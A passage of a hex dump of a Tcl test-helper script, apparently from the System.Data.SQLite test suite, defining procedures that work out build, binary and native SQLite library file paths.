checking for 6830: 61 76 61 69 6c 61 62 6c 65 20 72 65 6c 65 61 73 available releas 6840: 65 73 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 es... #.. 6850: 20 20 20 20 69 66 20 7b 5b 69 6e 66 6f 20 65 78 if {[info ex 6860: 69 73 74 73 20 3a 3a 72 65 6c 65 61 73 65 5f 76 ists ::release_v 6870: 65 72 73 69 6f 6e 5d 20 26 26 20 5c 0d 0a 20 20 ersion] && \.. 6880: 20 20 20 20 20 20 20 20 5b 73 74 72 69 6e 67 20 [string 6890: 6c 65 6e 67 74 68 20 24 3a 3a 72 65 6c 65 61 73 length $::releas 68a0: 65 5f 76 65 72 73 69 6f 6e 5d 20 3e 20 30 7d 20 e_version] > 0} 68b0: 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. 68c0: 23 0d 0a 20 20 20 20 20 20 20 20 23 20 4e 4f 54 #.. # NOT 68d0: 45 3a 20 54 68 65 20 72 65 6c 65 61 73 65 20 76 E: The release v 68e0: 65 72 73 69 6f 6e 20 68 61 73 20 62 65 65 6e 20 ersion has been 68f0: 6f 76 65 72 72 69 64 64 65 6e 3b 20 74 68 65 72 overridden; ther 6900: 65 66 6f 72 65 2c 20 75 73 65 20 69 74 0d 0a 20 efore, use it.. 6910: 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 76 # v 6920: 65 72 62 61 74 69 6d 2e 0d 0a 20 20 20 20 20 20 erbatim... 6930: 20 20 23 0d 0a 20 20 20 20 20 20 20 20 72 65 74 #.. ret 6940: 75 72 6e 20 24 3a 3a 72 65 6c 65 61 73 65 5f 76 urn$::release_v 6950: 65 72 73 69 6f 6e 0d 0a 20 20 20 20 20 20 7d 20 ersion.. } 6960: 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 else {.. 6970: 23 0d 0a 20 20 20 20 20 20 20 20 23 20 4e 4f 54 #.. # NOT 6980: 45 3a 20 4e 6f 20 72 65 6c 65 61 73 65 20 76 65 E: No release ve 6990: 72 73 69 6f 6e 20 69 73 20 61 76 61 69 6c 61 62 rsion is availab 69a0: 6c 65 2c 20 72 65 74 75 72 6e 20 61 6e 20 65 6d le, return an em 69b0: 70 74 79 20 73 74 72 69 6e 67 2e 0d 0a 20 20 20 pty string... 69c0: 20 20 20 20 20 23 20 20 20 20 20 20 20 49 74 20 # It 69d0: 69 73 20 69 6d 70 6f 72 74 61 6e 74 20 74 6f 20 is important to 69e0: 72 65 74 75 72 6e 20 61 6e 20 65 6d 70 74 79 20 return an empty 69f0: 73 74 72 69 6e 67 20 68 65 72 65 20 62 65 63 61 string here beca 6a00: 75 73 65 20 74 68 65 0d 0a 20 20 20 20 20 20 20 use the.. 6a10: 20 23 20 20 20 20 20 20 20 72 65 73 75 6c 74 20 # result 6a20: 6f 66 20 74 68 69 73 20 70 72 6f 63 65 64 75 72 of this procedur 6a30: 65 20 6d 61 79 20 62 65 20 75 73 65 64 20 77 69 e may be used wi 6a40: 74 68 20 5b 66 69 6c 65 20 6a 6f 69 6e 5d 2e 0d th [file join].. 6a50: 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 . #.. 6a60: 20 20 20 20 72 65 74 75 72 6e 20 22 22 0d 0a 20 return "".. 6a70: 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 0d 0a 0c }.. }... 6a80: 0d 0a 20 20 20 20 70 72 6f 63 20 67 65 74 42 75 .. proc getBu 6a90: 69 6c 64 46 69 6c 65 4e 61 6d 65 20 7b 20 66 69 ildFileName { fi 6aa0: 6c 65 4e 61 6d 65 20 7b 70 6c 61 74 66 6f 72 6d leName {platform 6ab0: 20 22 22 7d 20 7d 20 7b 0d 0a 20 20 20 20 20 20 ""} } {.. 6ac0: 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a #.. # NOTE: 6ad0: 20 52 65 74 75 72 6e 73 20 74 68 65 20 73 70 65 Returns the spe 6ae0: 63 69 66 69 65 64 20 66 69 6c 65 20 6e 61 6d 65 cified file name 6af0: 20 61 73 20 69 66 20 69 74 20 77 65 72 65 20 6c as if it were l 6b00: 6f 63 61 74 65 64 20 69 6e 20 74 68 65 0d 0a 20 ocated in the.. 6b10: 20 20 20 20 20 23 20 20 20 20 20 20 20 62 75 69 # bui 6b20: 6c 64 20 64 69 72 65 63 74 6f 72 79 2c 20 64 69 ld directory, di 6b30: 73 63 61 72 64 69 6e 67 20 61 6e 79 20 64 69 72 scarding any dir 6b40: 65 63 74 6f 72 79 20 69 6e 66 6f 72 6d 61 74 69 ectory informati 6b50: 6f 6e 20 70 72 65 73 65 6e 74 0d 0a 20 20 20 20 on present.. 6b60: 20 20 23 20 20 20 20 20 20 20 69 6e 20 74 68 65 # in the 6b70: 20 66 69 6c 65 20 6e 61 6d 65 20 61 73 20 70 72 file name as pr 6b80: 6f 76 69 64 65 64 20 62 79 20 6f 75 72 20 63 61 ovided by our ca 6b90: 6c 6c 65 72 2e 0d 0a 20 20 20 20 20 20 23 0d 0a ller... #.. 6ba0: 20 20 20 20 20 20 73 65 74 20 72 65 73 75 6c 74 set result 6bb0: 20 5b 66 69 6c 65 20 6e 61 74 69 76 65 6e 61 6d [file nativenam 6bc0: 65 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 5b e \.. [ 6bd0: 66 69 6c 65 20 6a 6f 69 6e 20 5b 67 65 74 42 75 file join [getBu 6be0: 69 6c 64 44 69 72 65 63 74 6f 72 79 5d 20 24 70 ildDirectory] $p 6bf0: 6c 61 74 66 6f 72 6d 20 5b 66 69 6c 65 20 74 61 latform [file ta 6c00: 69 6c 20 24 66 69 6c 65 4e 61 6d 65 5d 5d 5d 0d il$fileName]]]. 6c10: 0a 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 ... #.. 6c20: 20 20 23 20 48 41 43 4b 3a 20 57 68 65 6e 20 72 # HACK: When r 6c30: 75 6e 6e 69 6e 67 20 6f 6e 20 57 6f 57 36 34 2c unning on WoW64, 6c40: 20 61 73 73 75 6d 65 20 74 68 65 20 74 65 73 74 assume the test 6c50: 20 65 78 65 63 75 74 61 62 6c 65 73 20 61 72 65 executables are 6c60: 20 70 72 65 73 65 6e 74 0d 0a 20 20 20 20 20 20 present.. 6c70: 23 20 20 20 20 20 20 20 77 69 74 68 20 74 68 65 # with the 6c80: 20 22 33 32 22 20 73 75 66 66 69 78 20 6f 6e 20 "32" suffix on 6c90: 74 68 65 6d 2e 0d 0a 20 20 20 20 20 20 23 0d 0a them... #.. 6ca0: 20 20 20 20 20 20 69 66 20 7b 5b 69 73 52 75 6e if {[isRun 6cb0: 6e 69 6e 67 57 6f 57 36 34 5d 20 26 26 20 5b 66 ningWoW64] && [f 6cc0: 69 6c 65 20 65 78 74 65 6e 73 69 6f 6e 20 24 72 ile extension $r 6cd0: 65 73 75 6c 74 5d 20 65 71 20 22 2e 65 78 65 22 esult] eq ".exe" 6ce0: 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 } then {.. 6cf0: 20 20 73 65 74 20 72 65 73 75 6c 74 20 5b 61 70 set result [ap 6d00: 70 65 6e 64 41 72 67 73 20 5b 66 69 6c 65 20 72 pendArgs [file r 6d10: 6f 6f 74 6e 61 6d 65 20 24 72 65 73 75 6c 74 5d ootname$result] 6d20: 20 33 32 2e 65 78 65 5d 0d 0a 20 20 20 20 20 20 32.exe].. 6d30: 7d 0d 0a 0d 0a 20 20 20 20 20 20 72 65 74 75 72 }.... retur 6d40: 6e 20 24 72 65 73 75 6c 74 0d 0a 20 20 20 20 7d n $result.. } 6d50: 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 20 67 65 ..... proc ge 6d60: 74 45 78 74 65 72 6e 61 6c 44 69 72 65 63 74 6f tExternalDirecto 6d70: 72 79 20 7b 7d 20 7b 0d 0a 20 20 20 20 20 20 23 ry {} {.. # 6d80: 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 .. # NOTE: 6d90: 54 68 69 73 20 70 72 6f 63 65 64 75 72 65 20 72 This procedure r 6da0: 65 74 75 72 6e 73 20 74 68 65 20 64 69 72 65 63 eturns the direc 6db0: 74 6f 72 79 20 77 68 65 72 65 20 74 68 65 20 65 tory where the e 6dc0: 78 74 65 72 6e 61 6c 20 62 69 6e 61 72 79 0d 0a xternal binary.. 6dd0: 20 20 20 20 20 20 23 20 20 20 20 20 20 20 66 69 # fi 6de0: 6c 65 73 20 61 72 65 20 6c 6f 63 61 74 65 64 2e les are located. 6df0: 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 .. #.. 6e00: 20 72 65 74 75 72 6e 20 5b 66 69 6c 65 20 6e 61 return [file na 6e10: 74 69 76 65 6e 61 6d 65 20 5b 66 69 6c 65 20 64 tivename [file d 6e20: 69 72 6e 61 6d 65 20 5b 66 69 6c 65 20 64 69 72 irname [file dir 6e30: 6e 61 6d 65 20 5b 69 6e 66 6f 20 62 69 6e 61 72 name [info binar 6e40: 79 5d 5d 5d 5d 0d 0a 20 20 20 20 7d 0d 0a 0c 0d y]]]].. }.... 6e50: 0a 20 20 20 20 70 72 6f 63 20 67 65 74 42 69 6e . proc getBin 6e60: 61 72 79 44 69 72 65 63 74 6f 72 79 20 7b 7d 20 aryDirectory {} 6e70: 7b 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 {.. #.. 6e80: 20 20 23 20 4e 4f 54 45 3a 20 54 68 69 73 20 70 # NOTE: This p 6e90: 72 6f 63 65 64 75 72 65 20 72 65 74 75 72 6e 73 rocedure returns 6ea0: 20 74 68 65 20 64 69 72 65 63 74 6f 72 79 20 77 the directory w 6eb0: 68 65 72 65 20 74 68 65 20 74 65 73 74 20 61 70 here the test ap 6ec0: 70 6c 69 63 61 74 69 6f 6e 0d 0a 20 20 20 20 20 plication.. 6ed0: 20 23 20 20 20 20 20 20 20 69 74 73 65 6c 66 20 # itself 6ee0: 28 69 2e 65 2e 20 74 68 65 20 45 61 67 6c 65 20 (i.e. the Eagle 6ef0: 73 68 65 6c 6c 29 20 69 73 20 6c 6f 63 61 74 65 shell) is locate 6f00: 64 2e 20 20 54 68 69 73 20 77 69 6c 6c 20 62 65 d. This will be 6f10: 20 75 73 65 64 20 61 73 0d 0a 20 20 20 20 20 20 used as.. 6f20: 23 20 20 20 20 20 20 20 74 68 65 20 64 65 73 74 # the dest 6f30: 69 6e 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 ination for the 6f40: 63 6f 70 69 65 64 20 53 79 73 74 65 6d 2e 44 61 copied System.Da 6f50: 74 61 2e 53 51 4c 69 74 65 20 6e 61 74 69 76 65 ta.SQLite native 6f60: 20 61 6e 64 0d 0a 20 20 20 20 20 20 23 20 20 20 and.. # 6f70: 20 20 20 20 6d 61 6e 61 67 65 64 20 61 73 73 65 managed asse 6f80: 6d 62 6c 69 65 73 20 28 69 2e 65 2e 20 62 65 63 mblies (i.e. bec 6f90: 61 75 73 65 20 74 68 69 73 20 69 73 20 6f 6e 65 ause this is one 6fa0: 20 6f 66 20 74 68 65 20 66 65 77 20 70 6c 61 63 of the few plac 6fb0: 65 73 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 es.. # 6fc0: 20 20 77 68 65 72 65 20 74 68 65 20 43 4c 52 20 where the CLR 6fd0: 77 69 6c 6c 20 61 63 74 75 61 6c 6c 79 20 66 69 will actually fi 6fe0: 6e 64 20 61 6e 64 20 6c 6f 61 64 20 74 68 65 6d nd and load them 6ff0: 20 70 72 6f 70 65 72 6c 79 29 2e 0d 0a 20 20 20 properly)... 7000: 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 20 7b #.. if { 7010: 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 62 [info exists ::b 7020: 69 6e 61 72 79 5f 64 69 72 65 63 74 6f 72 79 5d inary_directory] 7030: 20 26 26 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 && \.. 7040: 20 5b 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 [string length 7050: 24 3a 3a 62 69 6e 61 72 79 5f 64 69 72 65 63 74$::binary_direct 7060: 6f 72 79 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b ory] > 0} then { 7070: 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 .. #.. 7080: 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 54 68 65 # NOTE: The 7090: 20 6c 6f 63 61 74 69 6f 6e 20 6f 66 20 74 68 65 location of the 70a0: 20 62 69 6e 61 72 79 20 64 69 72 65 63 74 6f 72 binary director 70b0: 79 20 68 61 73 20 62 65 65 6e 20 6f 76 65 72 72 y has been overr 70c0: 69 64 64 65 6e 3b 0d 0a 20 20 20 20 20 20 20 20 idden;.. 70d0: 23 20 20 20 20 20 20 20 74 68 65 72 65 66 6f 72 # therefor 70e0: 65 2c 20 75 73 65 20 69 74 20 76 65 72 62 61 74 e, use it verbat 70f0: 69 6d 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a im... #.. 7100: 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 24 return $7110: 3a 3a 62 69 6e 61 72 79 5f 64 69 72 65 63 74 6f ::binary_directo 7120: 72 79 0d 0a 20 20 20 20 20 20 7d 20 65 6c 73 65 ry.. } else 7130: 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 {.. retu 7140: 72 6e 20 5b 69 6e 66 6f 20 62 69 6e 61 72 79 5d rn [info binary] 7150: 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d .. }.. } 7160: 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 20 67 65 ..... proc ge 7170: 74 45 78 74 65 72 6e 61 6c 46 69 6c 65 4e 61 6d tExternalFileNam 7180: 65 20 7b 20 66 69 6c 65 4e 61 6d 65 20 7d 20 7b e { fileName } { 7190: 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 .. #.. 71a0: 20 23 20 4e 4f 54 45 3a 20 52 65 74 75 72 6e 73 # NOTE: Returns 71b0: 20 74 68 65 20 73 70 65 63 69 66 69 65 64 20 66 the specified f 71c0: 69 6c 65 20 6e 61 6d 65 20 61 73 20 69 66 20 69 ile name as if i 71d0: 74 20 77 65 72 65 20 6c 6f 63 61 74 65 64 20 69 t were located i 71e0: 6e 20 74 68 65 0d 0a 20 20 20 20 20 20 23 20 20 n the.. # 71f0: 20 20 20 20 20 64 69 72 65 63 74 6f 72 79 20 63 directory c 7200: 6f 6e 74 61 69 6e 69 6e 67 20 74 68 65 20 65 78 ontaining the ex 7210: 74 65 72 6e 61 6c 20 62 69 6e 61 72 69 65 73 2e ternal binaries. 7220: 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 .. #.. 7230: 20 72 65 74 75 72 6e 20 5b 66 69 6c 65 20 6e 61 return [file na 7240: 74 69 76 65 6e 61 6d 65 20 5b 66 69 6c 65 20 6a tivename [file j 7250: 6f 69 6e 20 5b 67 65 74 45 78 74 65 72 6e 61 6c oin [getExternal 7260: 44 69 72 65 63 74 6f 72 79 5d 20 24 66 69 6c 65 Directory]$file 7270: 4e 61 6d 65 5d 5d 0d 0a 20 20 20 20 7d 0d 0a 0c Name]].. }... 7280: 0d 0a 20 20 20 20 70 72 6f 63 20 67 65 74 42 69 .. proc getBi 7290: 6e 61 72 79 46 69 6c 65 4e 61 6d 65 20 7b 20 66 naryFileName { f 72a0: 69 6c 65 4e 61 6d 65 20 7b 70 6c 61 74 66 6f 72 ileName {platfor 72b0: 6d 20 22 22 7d 20 7d 20 7b 0d 0a 20 20 20 20 20 m ""} } {.. 72c0: 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 #.. # NOTE 72d0: 3a 20 52 65 74 75 72 6e 73 20 74 68 65 20 73 70 : Returns the sp 72e0: 65 63 69 66 69 65 64 20 66 69 6c 65 20 6e 61 6d ecified file nam 72f0: 65 20 61 73 20 69 66 20 69 74 20 77 65 72 65 20 e as if it were 7300: 6c 6f 63 61 74 65 64 20 69 6e 20 74 68 65 0d 0a located in the.. 7310: 20 20 20 20 20 20 23 20 20 20 20 20 20 20 62 69 # bi 7320: 6e 61 72 79 20 64 69 72 65 63 74 6f 72 79 2c 20 nary directory, 7330: 64 69 73 63 61 72 64 69 6e 67 20 61 6e 79 20 64 discarding any d 7340: 69 72 65 63 74 6f 72 79 20 69 6e 66 6f 72 6d 61 irectory informa 7350: 74 69 6f 6e 20 70 72 65 73 65 6e 74 0d 0a 20 20 tion present.. 7360: 20 20 20 20 23 20 20 20 20 20 20 20 69 6e 20 74 # in t 7370: 68 65 20 66 69 6c 65 20 6e 61 6d 65 20 61 73 20 he file name as 7380: 70 72 6f 76 69 64 65 64 20 62 79 20 6f 75 72 20 provided by our 7390: 63 61 6c 6c 65 72 2e 0d 0a 20 20 20 20 20 20 23 caller... # 73a0: 0d 0a 20 20 20 20 20 20 72 65 74 75 72 6e 20 5b .. return [ 73b0: 66 69 6c 65 20 6e 61 74 69 76 65 6e 61 6d 65 20 file nativename 73c0: 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 5b 66 69 \.. [fi 73d0: 6c 65 20 6a 6f 69 6e 20 5b 67 65 74 42 69 6e 61 le join [getBina 73e0: 72 79 44 69 72 65 63 74 6f 72 79 5d 20 24 70 6c ryDirectory] $pl 73f0: 61 74 66 6f 72 6d 20 5b 66 69 6c 65 20 74 61 69 atform [file tai 7400: 6c 20 24 66 69 6c 65 4e 61 6d 65 5d 5d 5d 0d 0a l$fileName]]].. 7410: 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 }..... pr 7420: 6f 63 20 67 65 74 43 6f 72 65 42 69 6e 61 72 79 oc getCoreBinary 7430: 46 69 6c 65 4e 61 6d 65 20 7b 20 7b 70 6c 61 74 FileName { {plat 7440: 66 6f 72 6d 20 22 22 7d 20 7b 73 74 61 6e 64 61 form ""} {standa 7450: 72 64 20 66 61 6c 73 65 7d 20 7d 20 7b 0d 0a 20 rd false} } {.. 7460: 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 #.. # 7470: 4e 4f 54 45 3a 20 52 65 74 75 72 6e 73 20 74 68 NOTE: Returns th 7480: 65 20 66 75 6c 6c 20 70 61 74 68 20 66 6f 72 20 e full path for 7490: 74 68 65 20 66 69 6c 65 20 63 6f 6e 74 61 69 6e the file contain 74a0: 69 6e 67 20 74 68 65 20 53 51 4c 69 74 65 20 63 ing the SQLite c 74b0: 6f 72 65 0d 0a 20 20 20 20 20 20 23 20 20 20 20 ore.. # 74c0: 20 20 20 6e 61 74 69 76 65 20 6c 69 62 72 61 72 native librar 74d0: 79 20 63 6f 64 65 20 66 6f 72 20 74 68 69 73 20 y code for this 74e0: 70 6c 61 74 66 6f 72 6d 2e 20 20 46 69 72 73 74 platform. First 74f0: 2c 20 63 68 65 63 6b 20 61 6e 64 20 73 65 65 20 , check and see 7500: 69 66 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 if.. # 7510: 20 20 74 68 65 20 53 51 4c 69 74 65 20 63 6f 72 the SQLite cor 7520: 65 20 6e 61 74 69 76 65 20 6c 69 62 72 61 72 79 e native library 7530: 20 68 61 73 20 61 6c 72 65 61 64 79 20 62 65 65 has already bee 7540: 6e 20 6c 6f 61 64 65 64 2e 20 20 4e 65 78 74 2c n loaded. Next, 7550: 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 20 .. # 7560: 66 61 6c 6c 62 61 63 6b 20 74 6f 20 77 68 61 74 fallback to what 7570: 20 74 68 65 20 66 75 6c 6c 20 70 61 74 68 20 73 the full path s 7580: 68 6f 75 6c 64 20 62 65 2c 20 62 61 73 65 64 20 hould be, based 7590: 6f 6e 20 77 68 65 74 68 65 72 20 74 68 65 0d 0a on whether the.. 75a0: 20 20 20 20 20 20 23 20 20 20 20 20 20 20 6d 69 # mi 75b0: 78 65 64 2d 6d 6f 64 65 20 61 73 73 65 6d 62 6c xed-mode assembl 75c0: 79 20 69 73 20 62 65 69 6e 67 20 75 73 65 64 20 y is being used 75d0: 61 6e 64 20 74 68 65 20 6e 61 6d 65 20 6f 66 20 and the name of 75e0: 74 68 65 20 63 75 72 72 65 6e 74 0d 0a 20 20 20 the current.. 75f0: 20 20 20 23 20 20 20 20 20 20 20 70 6c 61 74 66 # platf 7600: 6f 72 6d 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 orm... #.. 7610: 20 20 20 20 20 69 66 20 7b 5b 63 61 74 63 68 20 if {[catch 7620: 7b 0d 0a 20 20 20 20 20 20 20 20 6f 62 6a 65 63 {.. objec 7630: 74 20 69 6e 76 6f 6b 65 20 2d 66 6c 61 67 73 20 t invoke -flags 7640: 2b 4e 6f 6e 50 75 62 6c 69 63 20 5c 0d 0a 20 20 +NonPublic \.. 7650: 20 20 20 20 20 20 20 20 20 20 53 79 73 74 65 6d System 7660: 2e 44 61 74 61 2e 53 51 4c 69 74 65 2e 55 6e 73 .Data.SQLite.Uns 7670: 61 66 65 4e 61 74 69 76 65 4d 65 74 68 6f 64 73 afeNativeMethods 7680: 20 5f 53 51 4c 69 74 65 4e 61 74 69 76 65 4d 6f _SQLiteNativeMo 7690: 64 75 6c 65 46 69 6c 65 4e 61 6d 65 0d 0a 20 20 duleFileName.. 76a0: 20 20 20 20 7d 20 66 69 6c 65 4e 61 6d 65 5d 20 } fileName] 76b0: 3d 3d 20 30 20 26 26 20 5b 73 74 72 69 6e 67 20 == 0 && [string 76c0: 6c 65 6e 67 74 68 20 24 66 69 6c 65 4e 61 6d 65 length $fileName 76d0: 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 ] > 0} then {.. 76e0: 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 #.. 76f0: 20 20 23 20 4e 4f 54 45 3a 20 54 68 65 20 53 51 # NOTE: The SQ 7700: 4c 69 74 65 20 63 6f 72 65 20 6e 61 74 69 76 65 Lite core native 7710: 20 6c 69 62 72 61 72 79 20 68 61 73 20 61 6c 72 library has alr 7720: 65 61 64 79 20 62 65 65 6e 20 6c 6f 61 64 65 64 eady been loaded 7730: 20 76 69 61 0d 0a 20 20 20 20 20 20 20 20 23 20 via.. # 7740: 20 20 20 20 20 20 74 68 65 20 6e 61 74 69 76 65 the native 7750: 20 6c 69 62 72 61 72 79 20 70 72 65 2d 6c 6f 61 library pre-loa 7760: 64 65 72 2e 20 20 52 65 74 75 72 6e 20 74 68 61 der. Return tha 7770: 74 20 66 69 6c 65 20 6e 61 6d 65 20 6e 6f 77 2e t file name now. 7780: 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 .. #.. 7790: 20 20 20 20 20 72 65 74 75 72 6e 20 24 66 69 6c return$fil 77a0: 65 4e 61 6d 65 0d 0a 20 20 20 20 20 20 7d 0d 0a eName.. }.. 77b0: 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b 68 61 73 .. if {[has 77c0: 52 75 6e 74 69 6d 65 4f 70 74 69 6f 6e 20 6e 61 RuntimeOption na 77d0: 74 69 76 65 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 tive]} then {.. 77e0: 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 #.. 77f0: 20 20 23 20 4e 4f 54 45 3a 20 52 65 74 75 72 6e # NOTE: Return 7800: 20 74 68 65 20 6d 69 78 65 64 2d 6d 6f 64 65 20 the mixed-mode 7810: 61 73 73 65 6d 62 6c 79 20 66 69 6c 65 20 6e 61 assembly file na 7820: 6d 65 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a me... #.. 7830: 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 5b return [ 7840: 66 69 6c 65 20 6e 61 74 69 76 65 6e 61 6d 65 20 file nativename 7850: 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 5b \.. [ 7860: 66 69 6c 65 20 6a 6f 69 6e 20 5b 67 65 74 42 69 file join [getBi 7870: 6e 61 72 79 44 69 72 65 63 74 6f 72 79 5d 20 24 naryDirectory] $7880: 70 6c 61 74 66 6f 72 6d 20 53 79 73 74 65 6d 2e platform System. 7890: 44 61 74 61 2e 53 51 4c 69 74 65 2e 64 6c 6c 5d Data.SQLite.dll] 78a0: 5d 0d 0a 20 20 20 20 20 20 7d 20 65 6c 73 65 69 ].. } elsei 78b0: 66 20 7b 24 73 74 61 6e 64 61 72 64 7d 20 74 68 f {$standard} th 78c0: 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 23 0d en {.. #. 78d0: 0a 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a . # NOTE: 78e0: 20 41 74 74 65 6d 70 74 20 74 6f 20 64 65 74 65 Attempt to dete 78f0: 72 6d 69 6e 65 20 74 68 65 20 6e 61 74 69 76 65 rmine the native 7900: 2d 6f 6e 6c 79 20 73 74 61 6e 64 61 72 64 20 53 -only standard S 7910: 51 4c 69 74 65 20 6c 69 62 72 61 72 79 0d 0a 20 QLite library.. 7920: 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 66 # f 7930: 69 6c 65 20 6e 61 6d 65 20 66 6f 72 20 74 68 69 ile name for thi 7940: 73 20 70 6c 61 74 66 6f 72 6d 20 61 6e 64 20 74 s platform and t 7950: 68 65 6e 20 72 65 74 75 72 6e 20 69 74 2e 0d 0a hen return it... 7960: 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 7970: 20 20 20 66 6f 72 65 61 63 68 20 66 69 6c 65 4e foreach fileN 7980: 61 6d 65 4f 6e 6c 79 20 5b 67 65 74 4e 61 74 69 ameOnly [getNati 7990: 76 65 4c 69 62 72 61 72 79 46 69 6c 65 4e 61 6d veLibraryFileNam 79a0: 65 73 4f 6e 6c 79 5d 20 7b 0d 0a 20 20 20 20 20 esOnly] {.. 79b0: 20 20 20 20 20 73 65 74 20 66 69 6c 65 4e 61 6d set fileNam 79c0: 65 20 5b 66 69 6c 65 20 6e 61 74 69 76 65 6e 61 e [file nativena 79d0: 6d 65 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 me \.. 79e0: 20 20 20 20 5b 66 69 6c 65 20 6a 6f 69 6e 20 5b [file join [ 79f0: 67 65 74 42 69 6e 61 72 79 44 69 72 65 63 74 6f getBinaryDirecto 7a00: 72 79 5d 20 24 70 6c 61 74 66 6f 72 6d 20 24 66 ry] $platform$f 7a10: 69 6c 65 4e 61 6d 65 4f 6e 6c 79 5d 5d 0d 0a 0d ileNameOnly]]... 7a20: 0a 20 20 20 20 20 20 20 20 20 20 69 66 20 7b 5b . if {[ 7a30: 66 69 6c 65 20 65 78 69 73 74 73 20 24 66 69 6c file exists $fil 7a40: 65 4e 61 6d 65 5d 7d 20 74 68 65 6e 20 7b 0d 0a eName]} then {.. 7a50: 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 retu 7a60: 72 6e 20 24 66 69 6c 65 4e 61 6d 65 0d 0a 20 20 rn$fileName.. 7a70: 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 }.. 7a80: 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 }.... 7a90: 23 0d 0a 20 20 20 20 20 20 20 20 23 20 4e 4f 54 #.. # NOT 7aa0: 45 3a 20 46 61 6c 6c 62 61 63 6b 20 74 6f 20 72 E: Fallback to r 7ab0: 65 74 75 72 6e 69 6e 67 20 74 68 65 20 6e 61 74 eturning the nat 7ac0: 69 76 65 2d 6f 6e 6c 79 20 73 74 61 6e 64 61 72 ive-only standar 7ad0: 64 20 53 51 4c 69 74 65 20 6c 69 62 72 61 72 79 d SQLite library 7ae0: 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 20 .. # 7af0: 20 20 66 69 6c 65 20 6e 61 6d 65 20 66 6f 72 20 file name for 7b00: 57 69 6e 64 6f 77 73 2e 0d 0a 20 20 20 20 20 20 Windows... 7b10: 20 20 23 0d 0a 20 20 20 20 20 20 20 20 72 65 74 #.. ret 7b20: 75 72 6e 20 5b 66 69 6c 65 20 6e 61 74 69 76 65 urn [file native 7b30: 6e 61 6d 65 20 5c 0d 0a 20 20 20 20 20 20 20 20 name \.. 7b40: 20 20 20 20 5b 66 69 6c 65 20 6a 6f 69 6e 20 5b [file join [ 7b50: 67 65 74 42 69 6e 61 72 79 44 69 72 65 63 74 6f getBinaryDirecto 7b60: 72 79 5d 20 24 70 6c 61 74 66 6f 72 6d 20 73 71 ry] $platform sq 7b70: 6c 69 74 65 33 2e 64 6c 6c 5d 5d 0d 0a 20 20 20 lite3.dll]].. 7b80: 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 } else {.. 7b90: 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 #.. 7ba0: 23 20 4e 4f 54 45 3a 20 52 65 74 75 72 6e 20 74 # NOTE: Return t 7bb0: 68 65 20 6e 61 74 69 76 65 2d 6f 6e 6c 79 20 69 he native-only i 7bc0: 6e 74 65 72 6f 70 20 61 73 73 65 6d 62 6c 79 20 nterop assembly 7bd0: 66 69 6c 65 20 6e 61 6d 65 2e 0d 0a 20 20 20 20 file name... 7be0: 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 72 #.. r 7bf0: 65 74 75 72 6e 20 5b 66 69 6c 65 20 6e 61 74 69 eturn [file nati 7c00: 76 65 6e 61 6d 65 20 5c 0d 0a 20 20 20 20 20 20 vename \.. 7c10: 20 20 20 20 20 20 5b 66 69 6c 65 20 6a 6f 69 6e [file join 7c20: 20 5b 67 65 74 42 69 6e 61 72 79 44 69 72 65 